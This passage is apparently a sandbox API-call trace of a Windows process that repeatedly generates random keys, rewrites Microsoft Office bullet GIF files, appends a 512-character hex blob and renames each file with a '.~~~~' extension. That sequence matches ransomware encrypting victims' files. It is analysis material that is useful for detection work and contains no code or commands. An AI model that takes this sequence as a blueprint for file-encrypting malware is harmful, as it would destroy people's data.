	[0127.996] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffeb5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.996] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x14b, lpOverlapped=0x0) returned 1
	[0127.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.998] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.998] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.998] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.998] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.998] CloseHandle (hObject=0x13c) returned 1
	[0127.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e928
	[0127.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif.~~~~")) returned 1
	[0127.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e928 | out: hHeap=0x300000) returned 1
	[0127.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.999] GetLastError () returned 0x0
	[0128.000] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.001] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.001] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.002] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24799168433) returned 1
	[0128.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5beb3b0, dwHighDateTime=0x1d60e1e)) 
	[0128.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6748
	[0128.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6748 | out: hHeap=0x300000) returned 1
	[0128.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e9d0
	[0128.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e9d0 | out: hHeap=0x300000) returned 1
	[0128.002] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.002] GetLastError () returned 0x0
	[0128.003] GetLastError () returned 0x0
	[0128.003] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.003] GetLastError () returned 0x0
	[0128.003] GetLastError () returned 0x0
	[0128.004] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffeac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.004] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x154, lpOverlapped=0x0) returned 1
	[0128.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.005] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.005] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.006] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.006] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.006] CloseHandle (hObject=0x13c) returned 1
	[0128.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e9d0
	[0128.006] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif.~~~~")) returned 1
	[0128.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e9d0 | out: hHeap=0x300000) returned 1
	[0128.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.007] GetLastError () returned 0x0
	[0128.008] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.009] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.009] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.009] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24799956519) returned 1
	[0128.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5c11510, dwHighDateTime=0x1d60e1e)) 
	[0128.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6780
	[0128.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6780 | out: hHeap=0x300000) returned 1
	[0128.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ea78
	[0128.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ea78 | out: hHeap=0x300000) returned 1
	[0128.010] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.010] GetLastError () returned 0x0
	[0128.011] GetLastError () returned 0x0
	[0128.011] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.011] GetLastError () returned 0x0
	[0128.011] GetLastError () returned 0x0
	[0128.012] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffeff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.013] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x101, lpOverlapped=0x0) returned 1
	[0128.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.014] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.014] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.014] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.014] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.015] CloseHandle (hObject=0x13c) returned 1
	[0128.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38ea78
	[0128.015] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif.~~~~")) returned 1
	[0128.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ea78 | out: hHeap=0x300000) returned 1
	[0128.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.016] GetLastError () returned 0x0
	[0128.016] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.017] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.017] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.017] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24800758532) returned 1
	[0128.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5c11510, dwHighDateTime=0x1d60e1e)) 
	[0128.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a67b8
	[0128.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a67b8 | out: hHeap=0x300000) returned 1
	[0128.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38eb20
	[0128.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38eb20 | out: hHeap=0x300000) returned 1
	[0128.018] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.018] GetLastError () returned 0x0
	[0128.019] GetLastError () returned 0x0
	[0128.019] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.019] GetLastError () returned 0x0
	[0128.019] GetLastError () returned 0x0
	[0128.020] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff6f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.020] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x91, lpOverlapped=0x0) returned 1
	[0128.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.022] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.022] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.022] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.022] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.022] CloseHandle (hObject=0x13c) returned 1
	[0128.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38eb20
	[0128.022] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif.~~~~")) returned 1
	[0128.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38eb20 | out: hHeap=0x300000) returned 1
	[0128.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.024] GetLastError () returned 0x0
	[0128.024] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.025] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.025] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.026] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24801567647) returned 1
	[0128.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5c37670, dwHighDateTime=0x1d60e1e)) 
	[0128.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a67f0
	[0128.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a67f0 | out: hHeap=0x300000) returned 1
	[0128.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ebc8
	[0128.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ebc8 | out: hHeap=0x300000) returned 1
	[0128.026] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.026] GetLastError () returned 0x0
	[0128.027] GetLastError () returned 0x0
	[0128.027] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.027] GetLastError () returned 0x0
	[0128.027] GetLastError () returned 0x0
	[0128.029] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffed0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.029] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x130, lpOverlapped=0x0) returned 1
	[0128.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.030] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.030] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.030] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.030] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.030] CloseHandle (hObject=0x13c) returned 1
	[0128.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38ebc8
	[0128.031] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif.~~~~")) returned 1
	[0128.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ebc8 | out: hHeap=0x300000) returned 1
	[0128.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.032] GetLastError () returned 0x0
	[0128.033] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.035] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.035] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.035] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24802497379) returned 1
	[0128.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5c37670, dwHighDateTime=0x1d60e1e)) 
	[0128.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280afe8
	[0128.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280afe8 | out: hHeap=0x300000) returned 1
	[0128.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ec70
	[0128.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
